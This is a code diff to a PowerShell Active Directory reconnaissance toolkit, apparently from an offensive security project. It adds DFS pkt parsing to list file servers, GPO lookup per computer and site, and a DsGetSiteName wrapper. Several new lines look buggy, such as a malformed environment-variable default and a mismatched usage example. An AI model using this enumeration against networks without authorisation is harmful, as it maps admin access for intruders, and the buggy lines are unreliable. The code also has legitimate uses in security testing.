+                    # DFSRootOrLinkIDBlob +                    $root_or_link_guid_start = 0 +                    $root_or_link_guid_end = 15 +                    $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] +                    $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str +                    $prefix_size_start = $root_or_link_guid_end + 1 +                    $prefix_size_end = $prefix_size_start + 1 +                    $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) +                    $prefix_start = $prefix_size_end + 1 +                    $prefix_end = $prefix_start + $prefix_size - 1 +                    $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) +                    #write-host "Prefix: " $prefix +                    $short_prefix_size_start = $prefix_end + 1 +                    $short_prefix_size_end = $short_prefix_size_start + 1 +                    $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) +                    $short_prefix_start = $short_prefix_size_end + 1 +                    $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 +                    $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) +                    #write-host "Short Prefix: " $short_prefix +                    $type_start = $short_prefix_end + 1 +                    $type_end = $type_start + 3 +                    $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) +                    #write-host $type +                    $state_start = $type_end + 1 +                    $state_end = $state_start + 3 +                    $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) +                    #write-host $state +                    $comment_size_start = $state_end + 1 +                    $comment_size_end = $comment_size_start + 1 +                    $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) +                    $comment_start = $comment_size_end + 1 +                    $comment_end = $comment_start + $comment_size - 1 +                    if ($comment_size -gt 0)  { +                        $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) +                        #Write-Host $comment  +                    } +                    $prefix_timestamp_start = $comment_end + 1 +                    $prefix_timestamp_end = $prefix_timestamp_start + 7 +                    # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME +                    $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime +                    $state_timestamp_start = $prefix_timestamp_end + 1 +                    $state_timestamp_end = $state_timestamp_start + 7 +                    $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] +                    $comment_timestamp_start = $state_timestamp_end + 1 +                    $comment_timestamp_end = $comment_timestamp_start + 7 +                    $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] +                    $version_start = $comment_timestamp_end  + 1 +                    $version_end = $version_start + 3 +                    $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + +                    #write-host $version +                    if ($version -ne 3) +                    { +                        #write-host "error" +                    } + +                    # Parse rest of DFSNamespaceRootOrLinkBlob here +                    $dfs_targetlist_blob_size_start = $version_end + 1 +                    $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 +                    $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) +                    #write-host $dfs_targetlist_blob_size +                    $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 +                    $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 +                    $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] +                    $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 +                    $reserved_blob_size_end = $reserved_blob_size_start + 3 +                    $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) +                    #write-host $reserved_blob_size +                    $reserved_blob_start = $reserved_blob_size_end + 1 +                    $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 +                    $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] +                    $referral_ttl_start = $reserved_blob_end + 1 +                    $referral_ttl_end = $referral_ttl_start + 3 +                    $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + +                    #Parse DFSTargetListBlob +                    $target_count_start = 0 +                    $target_count_end = $target_count_start + 3 +                    $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) +                    $t_offset = $target_count_end + 1 +                    #write-host $target_count + +                    for($j=1; $j -le $target_count; $j++){ +                        $target_entry_size_start = $t_offset +                        $target_entry_size_end = $target_entry_size_start + 3 +                        $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) +                        #write-host $target_entry_size +                        $target_time_stamp_start = $target_entry_size_end + 1 +                        $target_time_stamp_end = $target_time_stamp_start + 7 +                        # FILETIME again or special if priority rank and priority class 0 +                        $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] +                        $target_state_start = $target_time_stamp_end + 1 +                        $target_state_end = $target_state_start + 3 +                        $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) +                        #write-host $target_state +                        $target_type_start = $target_state_end + 1 +                        $target_type_end = $target_type_start + 3 +                        $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) +                        #write-host $target_type +                        $server_name_size_start = $target_type_end + 1 +                        $server_name_size_end = $server_name_size_start + 1 +                        $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) +                        #write-host $server_name_size  +                        $server_name_start = $server_name_size_end + 1 +                        $server_name_end = $server_name_start + $server_name_size - 1 +                        $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) +                        #write-host $server_name +                        $share_name_size_start = $server_name_end + 1 +                        $share_name_size_end = $share_name_size_start + 1 +                        $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) +                        $share_name_start = $share_name_size_end + 1 +                        $share_name_end = $share_name_start + $share_name_size - 1 +                        $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) +                        #write-host $share_name +                        $target_list += "\\$server_name\$share_name" +                        $t_offset = $share_name_end + 1 +                    } +                } +            } +            $offset = $blob_data_end + 1 +            $dfs_pkt_properties = @{ +                'Name' = $blob_name +                'Prefix' = $prefix +                'TargetList' = $target_list +            } +            $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties +            $prefix = $null +            $blob_name = $null +            $target_list = $null +        } + +        $servers = @() +        $object_list | ForEach-Object { +            #write-host $_.Name; +            #write-host $_.TargetList +            if ($_.TargetList) { +                $_.TargetList | ForEach-Object { +                    $servers += $_.split("\")[2] +                } +            } +        } + +        $servers +    } +      function Get-DFSshareV1 {          [CmdletBinding()]          param( @@ -5183,7 +5362,7 @@ function Get-DFSshare {              [String]              $ADSpath, -            [ValidateRange(1,10000)]  +            [ValidateRange(1,10000)]              [Int]              $PageSize = 200, @@ -5201,6 +5380,7 @@ function Get-DFSshare {                  $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object {                      $Properties = $_.Properties                      $RemoteNames = $Properties.remoteservername +                    $Pkt = $Properties.pkt                      $DFSshares += $RemoteNames | ForEach-Object {                          try { @@ -5213,9 +5393,22 @@ function Get-DFSshare {                          }                      }                  } + +                if($pkt -and $pkt[0]) { +                    Parse-Pkt $pkt[0] | ForEach-Object { +                        # If a folder doesn't have a redirection it will +                        # have a target like +                        # \\null\TestNameSpace\folder\.DFSFolderLink so we +                        # do actually want to match on "null" rather than +                        # $null +                        if ($_ -ne "null") { +                            New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} +                        } +                    } +                }              }              catch { -                Write-Warning "Get-DFSshareV2 error : $_" +                Write-Warning "Get-DFSshareV1 error : $_"              }              $DFSshares | Sort-Object -Property "RemoteServerName"          } @@ -5276,7 +5469,7 @@ function Get-DFSshare {      }      $DFSshares = @() -     +      if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {          $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      } @@ -5284,7 +5477,7 @@ function Get-DFSshare {          $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      } -    $DFSshares | Sort-Object -Property "RemoteServerName" +    $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique  } @@ -5356,7 +5549,7 @@ function Get-GptTmpl {          try {              Write-Verbose "Parsing $GptTmplPath" -            Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { +            Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object {                  if ($_ -match '\[') {                      # this signifies that we're starting a new section                      $SectionName = $_.trim('[]') -replace ' ','' @@ -5553,6 +5746,10 @@ function Get-NetGPO {          The GPO display name to query for, wildcards accepted.    +    .PARAMETER ComputerName + +        Return all GPO objects applied to a given computer (FQDN). +      .PARAMETER Domain          The domain to query for GPOs, defaults to the current domain. @@ -5591,6 +5788,9 @@ function Get-NetGPO {          $DisplayName,          [String] +        $ComputerName, + +        [String]          $Domain,          [String] @@ -5613,21 +5813,95 @@ function Get-NetGPO {      process {          if ($GPOSearcher) { -            if($DisplayName) { -                $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + +            if($ComputerName) { +                $GPONames = @() +                $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + +                if(!$Computers) { +                    throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" +                } +                 +                # get the given computer's OU +                $ComputerOUs = @() +                ForEach($Computer in $Computers) { +                    # extract all OUs a computer is a part of +                    $DN = $Computer.distinguishedname + +                    $ComputerOUs += $DN.split(",") | ForEach-Object { +                        if($_.startswith("OU=")) { +                            $DN.substring($DN.indexof($_)) +                        } +                    } +                } +                 +                Write-Verbose "ComputerOUs: $ComputerOUs" + +                # find all the GPOs linked to the computer's OU +                ForEach($ComputerOU in $ComputerOUs) { +                    $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {  +                        # get any GPO links +                        write-verbose "blah: $($_.name)" +                        $_.gplink.split("][") | ForEach-Object { +                            if ($_.startswith("LDAP")) { +                                $_.split(";")[0] +                            } +                        } +                    } +                } +                 +                Write-Verbose "GPONames: $GPONames" + +                # find any GPOs linked to the site for the given computer +                $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName +                if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { +                    $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { +                        if($_.gplink) { +                            $_.gplink.split("][") | ForEach-Object { +                                if ($_.startswith("LDAP")) { +                                    $_.split(";")[0] +                                } +                            } +                        } +                    } +                } + +                $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + +                    # use the gplink as an ADS path to enumerate all GPOs for the computer +                    $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + +                    try { +                        $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { +                            $Out = Convert-LDAPProperty -Properties $_.Properties +                            $Out | Add-Member Noteproperty 'ComputerName' $ComputerName +                            $Out +                        } +                    } +                    catch { +                        Write-Warning $_ +                    } +                }              } +              else { -                $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" -            } +                if($DisplayName) { +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" +                } +                else { +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" +                } -            try { -                $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { -                    # convert/process the LDAP fields for each result -                    Convert-LDAPProperty -Properties $_.Properties +                try { +                    $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { +                        # convert/process the LDAP fields for each result +                        Convert-LDAPProperty -Properties $_.Properties +                    } +                } +                catch { +                    Write-Warning $_                  } -            } -            catch { -                Write-Warning $_              }          }      } @@ -5670,7 +5944,7 @@ function New-GPOImmediateTask {      .PARAMETER GPODisplayName -        The GPO display name to to build the task for. +        The GPO display name to build the task for.      .PARAMETER Domain @@ -5928,7 +6202,7 @@ function Get-NetGPOGroup {      )      # get every GPO from the specified domain with restricted groups set -    Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { +    Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {          $Memberof = $Null          $Members = $Null @@ -6199,6 +6473,11 @@ function Find-GPOLocation {          $GPOguid = $_.GPOName          $GPOMembers = $_.Members +        if(!$TargetObjects) { +            # if the * wildcard was used, set the ObjectDistName as the GPO member sid set +            $TargetObjects = $GPOMembers +        } +          if( -not $ProcessedGUIDs[$GPOguid] ) {              $GPOname = $_.GPODisplayName              $Filters = $_.Filters @@ -6217,12 +6496,8 @@ function Find-GPOLocation {                      $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize                  } -                if(!$TargetObjects) { -                    # if the * wildcard was used, set the ObjectDistName as the GPO member sid set -                    $TargetObjects = $GPOMembers -                } +                ForEach ($TargetSid in $TargetObjects) { -                ForEach ($TargetSid in $TargetObjects) {                                          $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize                      $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -6241,7 +6516,7 @@ function Find-GPOLocation {              }              # find any sites that have this GUID applied -            Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { +            Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {                  ForEach ($TargetSid in $TargetObjects) {                      $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -6361,6 +6636,8 @@ function Find-GPOComputerAdmin {              Throw "-ComputerName or -OUName must be provided"          } +        $GPOGroups = @() +          if($ComputerName) {              $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize @@ -6368,16 +6645,42 @@ function Find-GPOComputerAdmin {                  throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"              } +            $TargetOUs = @()              ForEach($Computer in $Computers) {                  # extract all OUs a computer is a part of                  $DN = $Computer.distinguishedname -                $TargetOUs = $DN.split(",") | Foreach-Object { +                $TargetOUs += $DN.split(",") | ForEach-Object {                      if($_.startswith("OU=")) {                          $DN.substring($DN.indexof($_))                      }                  }              } + +            # enumerate any linked GPOs for the computer's site +            $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName +            if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { +                $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { +                    if($_.gplink) { +                        $_.gplink.split("][") | ForEach-Object { +                            if ($_.startswith("LDAP")) { +                                $_.split(";")[0] +                            } +                        } +                    } +                } | ForEach-Object { +                    $GPOGroupArgs =  @{ +                        'Domain' = $Domain +                        'DomainController' = $DomainController +                        'ADSpath' = $_ +                        'UsePSDrive' = $UsePSDrive +                        'PageSize' = $PageSize +                    } + +                    # for each GPO link, get any locally set user/group SIDs +                    Get-NetGPOGroup @GPOGroupArgs +                } +            }          }          else {              $TargetOUs = @($OUName) @@ -6385,19 +6688,19 @@ function Find-GPOComputerAdmin {          Write-Verbose "Target OUs: $TargetOUs" -        $TargetOUs | Where-Object {$_} | Foreach-Object { - -            $OU = $_ +        $TargetOUs | Where-Object {$_} | ForEach-Object {              # for each OU the computer is a part of, get the full OU object -            $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object {  +            $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {                   # and then get any GPO links -                $_.gplink.split("][") | Foreach-Object { -                    if ($_.startswith("LDAP")) { -                        $_.split(";")[0] +                if($_.gplink) { +                    $_.gplink.split("][") | ForEach-Object { +                        if ($_.startswith("LDAP")) { +                            $_.split(";")[0] +                        }                      }                  } -            } | Foreach-Object { +            } | ForEach-Object {                  $GPOGroupArgs =  @{                      'Domain' = $Domain                      'DomainController' = $DomainController @@ -6409,79 +6712,77 @@ function Find-GPOComputerAdmin {                  # for each GPO link, get any locally set user/group SIDs                  Get-NetGPOGroup @GPOGroupArgs              } +        } -            # for each found GPO group, resolve the SIDs of the members -            $GPOgroups | Where-Object {$_} | Foreach-Object { -                $GPO = $_ +        # for each found GPO group, resolve the SIDs of the members +        $GPOgroups | Where-Object {$_} | ForEach-Object { +            $GPO = $_ -                if ($GPO.members) { -                    $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { -                        if($_ -match '^S-1-.*') { -                            $_ -                        } -                        else { -                            # if there are any plain group names, try to resolve them to sids -                            (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID -                        } -                    } | Sort-Object -Unique -                } +            if ($GPO.members) { +                $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { +                    if($_ -match '^S-1-.*') { +                        $_ +                    } +                    else { +                        # if there are any plain group names, try to resolve them to sids +                        (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID +                    } +                } | Sort-Object -Unique +            } -                $GPO.members | Foreach-Object { +            $GPO.members | ForEach-Object { -                    # resolve this SID to a domain object -                    $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ +                # resolve this SID to a domain object +                $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ -                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype +                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype -                    $GPOComputerAdmin = New-Object PSObject -                    $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName -                    $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU -                    $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName -                    $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname -                    $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ -                    $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup -                    $GPOComputerAdmin  +                $GPOComputerAdmin = New-Object PSObject +                $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName +                $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName +                $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname +                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ +                $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup +                $GPOComputerAdmin  -                    # if we're recursing and the current result object is a group -                    if($Recurse -and $GPOComputerAdmin.isGroup) { +                # if we're recursing and the current result object is a group +                if($Recurse -and $GPOComputerAdmin.isGroup) { -                        Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { +                    Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { -                            $MemberDN = $_.distinguishedName +                        $MemberDN = $_.distinguishedName -                            # extract the FQDN from the Distinguished Name -                            $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' +                        # extract the FQDN from the Distinguished Name +                        $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' -                            $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype +                        $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype -                            if ($_.samAccountName) { -                                # forest users have the samAccountName set -                                $MemberName = $_.samAccountName +                        if ($_.samAccountName) { +                            # forest users have the samAccountName set +                            $MemberName = $_.samAccountName +                        } +                        else { +                            # external trust users have a SID, so convert it +                            try { +                                $MemberName = Convert-SidToName $_.cn                              } -                            else { -                                # external trust users have a SID, so convert it -                                try { -                                    $MemberName = Convert-SidToName $_.cn -                                } -                                catch { -                                    # if there's a problem contacting the domain to resolve the SID -                                    $MemberName = $_.cn -                                } +                            catch { +                                # if there's a problem contacting the domain to resolve the SID +                                $MemberName = $_.cn                              } - -                            $GPOComputerAdmin = New-Object PSObject -                            $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName -                            $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU -                            $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName -                            $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN -                            $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid -                            $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup -                            $GPOComputerAdmin                           } + +                        $GPOComputerAdmin = New-Object PSObject +                        $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName +                        $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName +                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN +                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid +                        $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup +                        $GPOComputerAdmin                       }                  }              } @@ -6521,9 +6822,15 @@ function Get-DomainPolicy {      .EXAMPLE -        PS C:\> Get-NetGPO +        PS C:\> Get-DomainPolicy + +        Returns the domain policy for the current domain.  + +    .EXAMPLE -        Returns the GPOs in the current domain.  +        PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local + +        Returns the policy for the MASTER.testlab.local domain controller.  #>      [CmdletBinding()] @@ -6577,25 +6884,25 @@ function Get-DomainPolicy {              }              # parse the GptTmpl.inf -            Get-GptTmpl @ParseArgs | Foreach-Object { +            Get-GptTmpl @ParseArgs | ForEach-Object {                  if($ResolveSids) {                      # if we're resolving sids in PrivilegeRights to names                      $Policy = New-Object PSObject -                    $_.psobject.properties | Foreach-Object { +                    $_.psobject.properties | ForEach-Object {                          if( $_.Name -eq 'PrivilegeRights') {                              $PrivilegeRights = New-Object PSObject                              # for every nested SID member of PrivilegeRights, try to                               #   unpack everything and resolve the SIDs as appropriate -                            $_.Value.psobject.properties | Foreach-Object { +                            $_.Value.psobject.properties | ForEach-Object { -                                $Sids = $_.Value | Foreach-Object { +                                $Sids = $_.Value | ForEach-Object {                                      try {                                          if($_ -isnot [System.Array]) {                                               Convert-SidToName $_                                           }                                          else { -                                            $_ | Foreach-Object { Convert-SidToName $_ } +                                            $_ | ForEach-Object { Convert-SidToName $_ }                                          }                                      }                                      catch { @@ -6707,7 +7014,7 @@ function Get-NetLocalGroup {          [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]          [Alias('HostName')]          [String[]] -        $ComputerName = 'localhost', +        $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)",          [Parameter(ParameterSetName = 'WinNT')]          [Parameter(ParameterSetName = 'API')] @@ -7492,7 +7799,7 @@ filter Invoke-CheckLocalAdminAccess {  <#      .SYNOPSIS -        This function will use the OpenSCManagerW Win32API call to to establish +        This function will use the OpenSCManagerW Win32API call to establish          a handle to the remote host. If this succeeds, the current user context          has local administrator acess to the target. @@ -7566,6 +7873,82 @@ filter Invoke-CheckLocalAdminAccess {  } +filter Get-SiteName { +<# +    .SYNOPSIS + +        This function will use the DsGetSiteName Win32API call to look up the +        name of the site where a specified computer resides. + +    .PARAMETER ComputerName + +        The hostname to look the site up for, default to localhost. + +    .EXAMPLE + +        PS C:\> Get-SiteName -ComputerName WINDOWS1 + +        Returns the site for WINDOWS1.testlab.local. + +    .EXAMPLE + +        PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + +        Returns the sites for every machine in AD. +#> +    [CmdletBinding()] +    param( +        [Parameter(ValueFromPipeline=$True)] +        [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()] +        $ComputerName = $Env:ComputerName +    ) + +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField + +    # if we get an IP address, try to resolve the IP to a hostname +    if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { +        $IPAddress = $Computer +        $Computer = [System.Net.Dns]::GetHostByAddress($Computer) +    } +    else { +        $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress +    } + +    $PtrInfo = [IntPtr]::Zero + +    $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) +    Write-Debug "Get-SiteName result for $Computer : $Result" + +    $ComputerSite = New-Object PSObject +    $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer +    $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + +    if ($Result -eq 0) { +        $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) +        $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename +    } +    elseif($Result -eq 1210) { +        Write-Verbose "Computername '$Computer' is not in a valid form." +        $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' +    } +    elseif($Result -eq 1919) { +        Write-Verbose "Computer '$Computer' is not in a site" +         +        $ComputerSite | Add-Member Noteproperty 'SiteName' $Null +    } +    else { +        Write-Verbose "Error" +        $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' +    } + +    $Null = $Netapi32::NetApiBufferFree($PtrInfo) +    $ComputerSite +} + +  filter Get-LastLoggedOn {  <#      .SYNOPSIS @@ -9173,7 +9556,7 @@ function Invoke-ProcessHunter {              else {                  ForEach ($Domain in $TargetDomains) {                      Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" -                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { +                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {                          $_.MemberName                      }                  } @@ -9510,7 +9893,7 @@ function Invoke-EventHunter {          else {              ForEach ($Domain in $TargetDomains) {                  Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" -                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { +                $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {                      $_.MemberName                  }              } @@ -11776,7 +12159,7 @@ function Find-ManagedSecurityGroups {  #>      # Go through the list of security groups on the domain and identify those who have a manager -    Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { +    Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {          # Retrieve the object that the managedBy DN refers to          $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname @@ -11948,8 +12331,9 @@ $FunctionDefinitions = @(      (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),      (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),      (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), -    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), +    (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),      (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), +    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),      (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),      (func advapi32 